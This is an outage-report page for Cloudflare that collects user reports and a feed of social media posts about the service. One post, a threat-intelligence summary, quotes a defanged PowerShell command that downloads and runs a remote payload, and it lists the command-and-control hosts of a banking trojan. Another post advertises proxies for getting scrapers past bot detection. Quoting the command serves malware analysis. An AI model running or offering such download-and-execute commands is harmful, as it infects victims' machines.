Cloudflare status: hosting issues and outage reports

Problems in the last 24 hours

The graph below depicts the number of Cloudflare reports received over the last 24 hours by time of day. When the number of reports exceeds the baseline, represented by the red line, an outage is determined.

Most Reported Problems

The following are the most recent problems reported by Cloudflare users through our website.

• Domains (36%)
• Cloud Services (31%)
• Hosting (17%)
• Web Tools (11%)
• E-mail (6%)

Live Outage Map

The most recent Cloudflare outage reports came from the following cities:

City	Problem Type	Report Time
Manchester	Domains	4 days ago
Angers	Cloud Services	15 days ago
London	Domains	17 days ago
Noida	Hosting	30 days ago
Jewar	E-mail	1 month ago
Braga	Web Tools	1 month ago

Full Outage Map

Community Discussion

Tips? Frustrations? Share them here. Useful comments include a description of the problem, city and postal code.

Beware of "support numbers" or "recovery" accounts that might be posted below. Make sure to report and downvote those comments. Avoid posting your personal information.

Cloudflare Issues Reports

Latest outage, problems and issue reports in social media:

• 
  Mundo Trading (@DonPepeVaquito) reported 2 minutes ago

  Is cloudflare down or it's just me?

• 
  Alon M. (@Alon_iploop) reported 3 minutes ago

  @BenjaminFlatz Stealth helps, but most Cloudflare failures are environment issues: IP reputation, geo, sticky sessions, and consistent browser state. IPLoop provides the residential network layer so Playwright/Scrapy stacks don’t fail just because the traffic looks wrong.

• 
  David Herrmann (@herrmanndigital) reported 3 minutes ago

  Meta ads in 2015: 1. Take a photo of product with iPhone. Open Power Editor, launch ad in under 2 mins. 2. Refresh PE and see 1:1 conversions in under an hour, scale within 3-4 hrs. 3. Spend the rest of the day coming up with fun ideas for new offers, new landing page ideas, new product ideas, new copy ideas. Meta ads in 2026: 1. Hire creative strategist -> Who hire creative agencies / editors -> who build batches of creative. 2. Open ads manager, go through 25-30 prompts of things you have really no clue about, but Meta is insistent it'll lower your CPA by 7.9% based on a study from 2 advertisers in 2022. Click publish after 1 hr of building out 10 new concepts. 3. You're then hit with an error publish with messages like: "you have no shops select," or "you don't have page permissions," or "this creative has expired, please try a new one" you finally are able to hit publish. 4. Finally, you can go on with your day. But wait, client sees that they are getting discounts on the ads you just launched coming in. You open up ads manager and go to ad level to go through multiple areas to figure out why. 5. Ah, Meta has randomly turned the promotions automatically on. No worries, you pause it. On with your day. 6. Someone who knows someone at the company for whose ads you just launched flags to friend that the ads are appearing with a dubstep version of a Beethoven song and seem out of touch for the brand. You're then texted to go pause the music. 7. Open ads manager, navigate to ad level, pause music. You're then hit with a prompt from Meta: "WHY ARE YOU TURNING THIS OFF?!" You hastily respond, "BECAUSE IT SUCKS!" 8. Visibly irritated now over Meta you finally settle in to do the other part of your job, analysis! 9. But wait, there appears to be an outage! Everyone texting, "Is Shopify down?," "Is it Cloudflare?," "Is it AWS?," "No! It's Meta!" Ok, well now you're in fight of flight. Should we wait? Should we pause? Let's wait, yeah let's wait. This is just a minor blip. 10. Meanwhile you're not left refreshing things every 5 min instead of doing analysis and research. Finally, it is night time and you can relax (not)! On this particular day you managed to launch 10 ad sets and do nothing else. Feeling defeated because what once took 2-5 min to do now feels daunting. It feels like you now spend the majority of your day in defense mode. Not because the work has changed or the people, but the process for doing it all has. And that's why you're feeling burnt out media buying friends and creative friends.

• 
  Ann the cat herder (@ann1knit) reported 5 minutes ago

  If cloudflare is so buggy and easily broken or hacked, why the frell hasn't someone come up with a better system or solution?

• 
  tcpdump (@dump_tcp) reported 9 minutes ago

  @EddCoates if need any help with cloudflare I can help with some rules also it seems you're webserver code is bottlenecking you causing that error usually due to not being able to handle that many connections or to much cpu usage the webserver process dies i suggest using #golang best lang

• 
  Julian Goldie SEO (@JulianGoldieSEO) reported 10 minutes ago

  HERMES AGENT JUST TURNED WHATSAPP INTO A REAL AI WORKER But one tiny setup mistake can leave the entire bot completely silent. What Just Dropped: → Official WhatsApp Business Cloud integration → Run Hermes as a private assistant, team bot, or customer support agent → Text one WhatsApp number and get AI replies directly inside the chat Built Like A Proper App: ✓ Secure webhooks and official Meta support ✓ Voice notes, media, read receipts, and typing indicators ✓ Interactive approval buttons when Hermes needs confirmation The Setup: → Run `hermes whatsapp cloud` → Connect your Meta Business account and WhatsApp number → Use Cloudflare Tunnel to expose your local Hermes gateway securely Three Mistakes To Avoid: ✓ Use the 15–17 digit Phone Number ID, not your real phone number ✓ Replace the 24-hour test token with a permanent system-user token ✓ Subscribe to the `messages` webhook field or the bot will never receive anything For a reliable WhatsApp agent, use the official Cloud API path instead of the unofficial personal-account bridge.

• 
  Jose (@SolutionsCay) reported 12 minutes ago

  Two changes to how I work with agents: 1. GitHub App so the agents manage issues directly. Keeps the repo clear of throwaway spec and todo files. 2. EmDash (Cloudflare's serverless WordPress successor) for internal docs. Runs on D1, just SQLite under the hood, so I can export the content and move it anywhere. No more docs sprawl.

• 
  zeb (@zebassembly) reported 15 minutes ago

  @astuyve @boristane Yeah we aren't happy that the limitation has existed for so long either. We're working hard to try to not paint ourselves into a corner when the o11y platform we've built for Workers expands to being used for other products. There are many shortcuts we could have taken to got this shipped sooner but they may have put us in a state where we later couldn't reconcile it with tracing for another product. We're really going all-out for the o11y platform we're building within Cloudflare and that'll inevitably slow things down by preventing us from taking the easy paths.

• 
  simulx4 (@simulx4) reported 15 minutes ago

  cloudflare is using Kimi K2.6 to automatically resolve billing issues. and... it worked fine. it fixed my problem faster than any human. by chat/email... so much better than talking to a person, honestly

• 
  JustAnotherUser_4 (@JAU_4) reported 16 minutes ago

  @EddCoates Cloudflare firewall, thank me later. I blocked entire countries. Solved so many problems.

• 
  SID | Degen (@SidDegen) reported 22 minutes ago

  i don't buy the "ai search replaces Google" thesis. the data says the opposite is happening. Cloudflare Radar, may 2026: every ai chatbot — ChatGPT, Gemini, Claude, Perplexity — sends 0.29% of global search referrals. Google sends 87.63%. 301-to-1. Anthropic's ClaudeBot crawls 11,122 pages for every human visit it returns vs Google's 5:1. Alphabet Q1 2026 filing: Google search revenue $60.4B, +19% yoy, up from +17% in Q4. ai overviews hit 2.5B monthly users; ai mode crossed 1B. alphabet says ai overviews monetize at rates "similar to traditional search" (june 2026 investor presentation). the kill-google thesis is showing up as negative signal in the actual p&l. Perplexity — the consensus poster child — killed its entire ad business in feb (Financial Times, The Verge). ads generated $20K against $34M revenue. exec quote: "a user would just start doubting everything." a company that can't make advertising work cannot disrupt a $60B/quarter advertising business. the consensus pusher worth countering specifically — @sarahdingwang at a16z, who led Exa's $250M Series C at $2.2B in may. her line: "agents will search the web more than humans this year. soon orders of magnitudes more." historical analog — Netscape 1994-98. the next platform that would reduce windows to "a poorly debugged set of device drivers." 80% share, record ipo. microsoft bundled IE for free. netscape sold to AOL for scrap. the company that captured the value was the one everyone thought netscape would displace — Google, founded 1998 — the services layer above the commodity. counter-position: ai search isn't replacing Google. Google is becoming ai search. standalone players are fighting netscape's war while the incumbent absorbs the tech into a surface 2.5B people already use. investor read: Exa at $2.2B and Perplexity at $22B are priced for a market-share takeover the referral data says isn't happening. the smarter bet is the layer that monetizes the ai-overview expansion Google is driving.

• 
  FreeSolDev (@FreeSolGamesDev) reported 24 minutes ago

  We do a little upgrading ProofNetwork already includes native support for Cloudflare R2 as a Smart Service, but with network activity continuing to accelerate, I decided to expand its role within the infrastructure Transaction archives now leverage additional R2 backed redundancy, providing a stronger foundation as we push toward what I expect will be well beyond 10 million transactions Also spent time building an automated contract validation pipeline that acts as a pre deployment safety net Deployments are now automatically checked for common security oversights and best practice violations, with contracts being blocked from deployment if critical safeguards are missing, such as signature verification on privileged admin functions and other potentially exploitable patterns.

• 
  Devine dev (@Andrew652263) reported 26 minutes ago

  @elshad_ff @Teknium Had similar websocket issues before. One thing that helped was testing the same dashboard through Pinggy to confirm if Cloudflare was the bottleneck.

• 
  Jorge (@tebayoso) reported 28 minutes ago

  I had my @cloudflare bill spin up from 0 to 500 per day, and their interface was broken for two days, when I noticed I had to pay 900usd. They don't respond to customer support :(

• 
  sw1tch.sh (@thinkistillcare) reported 28 minutes ago

  suddenly i start getting captchas on google and cloudflare it has to be my IPTV service on my fire stick right?

• 
  DFIR Radar (@DFIR_Radar) reported 29 minutes ago

  AI-generated ClickFix lure impersonates a Brazilian 🇧🇷 bank to drop SmartRAT, a PowerShell banking RAT with QR-swap, keylogging, and fake overlay capabilities. The C2 panel had no server-side auth. Key findings: - Full infection chain: typosquatting domain cartaobb[.]com mimics cartaobrb[.]com[.]br, fake Cloudflare CAPTCHA triggers clipboard injection, fake BSOD locks the browser, then victim pastes: powershell "$k8='hxxp://64[.]95[.]13[.]238/st.txt';iex(irm $k8)" into Run. Three-stage PowerShell dropper pulls payload[.]php, AES-CBC decrypts SmartRAT in memory. Hashes: st.txt 297eb45f028d44d750297d2f932b9c91, RAT b17ccdb5531555e43f082d6e77c07227. - SmartRAT (SMART_V25) persists as scheduled task or Windows service named MicrosoftEdgeUpdateCore (T1543.003), copies itself to %APPDATA%\Microsoft\Diagnosis\ETW\msedgeupdate.txt, logs all activity to C:\ProgramData\Microsoft\Diagnosis\ETW\client_debug.log and per-PID logs. - C2 at c[.]windowsupdate-cdn[.]com port 51888 (fallback 162[.]141[.]111[.]227), AES-CBC encrypted over raw TCP. QR-swap feature overlays attacker QR at exact pixel coordinates of the legitimate banking QR to redirect transactions. Monitors window titles for santander, bradesco, itau, nubank, binance, and a dozen more. - The C2 panel (branded MyGood PRO) bypasses auth by checking only localStorage values authToken and currentUser client-side with no server validation, exposing the full admin panel to anyone who sets those keys. #DFIR_Radar

• 
  DownWithBigBrother (@DWBB1984) reported 31 minutes ago

  @ultrasxiv Fair on bandwidth being a real cost, but the 2GB figure is a long way out. Cheapest DO droplet includes 500GB+ outbound, Hetzner 20TB+. At 600-700GB household use you’re a pound or two over on DO, zero on Hetzner. Stays around the base £4-5 for most, not £300. And “un-bannable” was the precise word, not hyperbole. A commercial VPN is bannable because it’s a named brand with known IPs, a company that can be pressured or blocked. That’s the weakness. Self-hosting removes the target entirely. There’s no technical category called “a VPS used as a VPN.” It’s a rented server running standard encryption (WireGuard, IPsec), the same protocols carrying every bank settlement, ATM link and corporate tunnel on earth. To ban it you’d have to block those protocols (killing Visa, every corporate VPN, all remote work) or blacklist the datacentre IP ranges (AWS, Hetzner, OVH) that host the actual internet: payment gateways, banking backends, Stripe, Cloudflare, gov services. You can’t separate “server someone might tunnel through” from “server running the shop you’re buying from.” The second and third-order effects would cripple e-commerce, open banking and logistics, all riding the same cloud backbone. That’s the sovereignty point. You can ban a brand. You can’t ban the capability of renting a server and encrypting your own traffic, not without taking modern commerce down with it.

• 
  KarenR (@heykarenrc) reported 31 minutes ago

  When I built d1-studio, I was still early in my transition from UX to development. At first, I just wanted the simplest stack possible. Something lean. Something affordable. Something I could build with fast. Like many new devs, I started with the familiar stack: Next.js. Supabase. Vercel. AI helping me along the way. Supabase was great to get started. I still like it. But as I built more products, I started noticing the small costs and tradeoffs that you only understand after shipping. Storage. Egress. Deployment limits. The usual “newbie learns the hard way” stuff. That pushed me to look for a stack that fit how I wanted to build. Then I found Cloudflare. Workers. Pages. D1. R2. Queues. Generous free tier. Simple deployment. Close to the edge. I slowly moved more of my projects there and never really looked back. But there was one thing that kept slowing me down: Cloudflare D1 local development. D1 is great, but working with the database locally felt too slow. I didn’t want to keep jumping between CLI commands just to inspect tables, edit rows, run SQL, or check data while building. I also didn’t want a tool that required a long setup. My thinking was simple: The database is already in my Cloudflare project. The wrangler.toml is already there. Why can’t a studio just detect it and work? That became the trigger for D1 Studio. A native database studio for Cloudflare D1. No complicated setup. No extra database connection string. No heavy workflow. Just run it inside your project and start working with your D1 database faster. You can inspect tables, edit data, run SQL, and work with local or remote D1 without fighting the CLI every few minutes. It started as a tool I needed for myself. Now it’s getting used by other Cloudflare developers too. This week it hit 311 weekly downloads. Not a huge number in the grand scheme of things, but for me it means a lot. Because this is the first product I built that truly came from my own pain. Not a random idea. Not a trend. Not something I forced. Just a problem I kept hitting until I finally built the tool I wished existed. That’s been the biggest lesson for me as I move from design into development: The best products are often not born from brainstorming. They come from friction. Something feels slower than it should. Something takes too many steps. Something breaks your flow. And eventually you think: “There has to be a better way.” That’s how D1 Studio started. And seeing people use it for their own Cloudflare projects is still one of the best feelings.

• 
  Elizabeth (@Sounsmooth) reported 32 minutes ago

  @FBIPhiladelphia In Georgia they inputted Datalayers to cache and control. They then gather DNS and block the original government domain. They create a clone using Cloudflare London and Amazon. Then they wait 7 days. . . You know why. Then they activate it and viola a compromised Amazon fake government domain using a pre appointed L3 contractor who hired DEI employees are at the wheel with IT who ask the REF NAMED “Raj” Z and Kash’s buddy, who to blame for breaches is the GSA Zone 4 IC3. Kash Patel knows as do the IT volunteers. The China leak biz continues and RICO and bad guys thrive. AMERICANS LOSE. True story.

• 
  Agrit Tiwari (@agrit_tiwari) reported 36 minutes ago

  Worlds are a good concept but we need a bridge built by both sides of @vercel and @Cloudflare world. Even workflows has a long PR pending just to support the wasm runtime for running workflow SDK on Cloudflare. But they are continuously innovating with frontier stances on agent stack.

• 
  Derek Martin 🇨🇦 (@lo_fye) reported 37 minutes ago

  @yashmp2004 Your cache busting and/or expiration is broken. Cloudflare is down. Your hosting’s network connection is shoddy, or oversaturated. A backup or clone process is hammering the disk. There’s a race condition that wasn’t triggered until now. When in doubt, check replication status.

• 
  Toby Marshman (@tobymarshman) reported 38 minutes ago

  Have you accidentally blocked yourself from AI search? OpenAI/Claude's searchbots get blocked more often than any other crawler, usually as a side effect of generic robots.txt templates, not intentional policy. >>The fix: -Open your robots.txt if you have one (go to yourdomain .com/robots.txt) -Remove any rules blocking OAI-SearchBot, PerplexityBot, or GPTBot. Instead add: User-agent: * Allow: / -If you're using Cloudflare, check your bot management settings - set to 'Do not block (allow crawlers)' -If you're on a managed host, check their crawler settings too, many block non-Google bots by default If you're blocking those bots, you don't exist in AI search. Have you done this?

• 
  Calvin (@Calvin24seven) reported 38 minutes ago

  @EddCoates Honeypots, cloudflare, fingerprinting, not giving so much value away for free would help. Site is great btw

• 
  Shimju David (@ShimjuDavid) reported 43 minutes ago

  @payloadcms Deploy on Cloudflare Fully self-contained — one click to deploy Payload with Workers, R2 for uploads, and D1 for a globally replicated database is not working. It returns build error. Kindly fix. 📷

• 
  𝐀𝐤𝐫𝐚𝐦 (@beingakramraja) reported 45 minutes ago

  Akash is processing 1.7 billion tokens every single day on openrouter right now outpacing cloudflare venice, elizaos, morpheus, gensyn all paying customers running real ai workloads on akash the narrative isn't that akash could become the decentralized aws. it's that it already is for a growing list of ai companies who need cheaper compute akash just launched homenode beta people with rtx 4090s and 5090s sitting at home can now connect their gpu to the network and earn from ai inference demand this changes the supply side completely instead of relying on 58 enterprise providers, the network starts pulling in consumer hardware globally more supply means more competitive pricing which means more demand which means more akt burned the things akash is building that most ct hasn't priced in yet virtual machines launching this quarter enterprise workloads that couldn't run on containers now can starcluster acquiring 7,200 nvidia gb200 gpus protocol-owned compute at hyperscale confidential computing via tee the feature enterprises require before migrating serious workloads $akt is at $0.62 the roadmap reads like a company that's two quarters away from being unignorable

• 
  zeb (@zebassembly) reported 50 minutes ago

  @astuyve @boristane Not to get too into the weeds but the concern is where the trace context gets inherited and where we check the users tracing configuration. Before a request ever goes to the Workers runtime there's our FL2 (essentially the Cloudflare webserver) that actually accepts the http connection for various reasons we want that part that isn't entirely related to Workers to be aware of tracing so we can do cool things in the future. This entails creating a way for FL2 to fetch the user's tracing config (sampling, if they want to enable propogation, etc), passing that context through FL2, passing it to the Workers runtime, and then when the Worker does a fetch we need to pass it back through to FL2 so we can potentially attach the context header. None of this is strictly about just parsing that trace context header, more about threading configuration and ceoss-service communication.

• 
  Brendan Irvine-Broque (@irvinebroque) reported 52 minutes ago

  dex is holding his Cloudflare product feedback hostage until I share this video watch so that I can learn what bugs we should fix

• 
  پارسوا (@imparsua) reported 57 minutes ago

  @DougMadory I think the udp whitelist has been set up on this network and is limited to a number of large global resolvers such as Google, Cloudflare and etc ...

• 
  Tushar Dwivedi (@tush_2708) reported 60 minutes ago

  @SayantikaSays Try @BSNLCorporate . And I am not joking. It is best if it's available in your area. No BS service. I never heard these lines from BSNL, which I kept hearing from other providers like Jio and Airtel. "We won't give you the router password" "You can't use your own router, even if ours is ******. What do you mean you have a better router and modem? Hou must pay us a subscription for this mesh thing instead" "No, you can't use Google or CloudFlare's DNS, you must use ours. What if it's slow? If you change, how will we snoop on you and inject our advertisements into your browser?" "No, you can't open a port for you. For that, you must buy a static IP from us. Why is a static IP needed to open a port? Who knows. But we won't allow it unless you pay us extra" In the last 3 years, I have only had 2 outages on BSNL, 30-40 minutes max. While on Airtel, I had caught their staff removing my cable from their box and adding a new one for a new connection, and then making me wait till they finally got a new box after a week. They just didn't want to make a new customer wait, so they simply assigned my slot to them. And their customer care and local staff wasn't even ready to accept it, unless I showed the CCTV footage and a video of my cable literally being thrown on the side of their box, not even connected, while they were claiming that there's some backend issue.

• 
  POKE6900 (@poke6900gg) reported 1 hour ago

  We are aware the website is down and due to this the apps aren't working as they should. This is due to a Cloudflare issue and we are working on a solution to get everything back online a.s.a.p.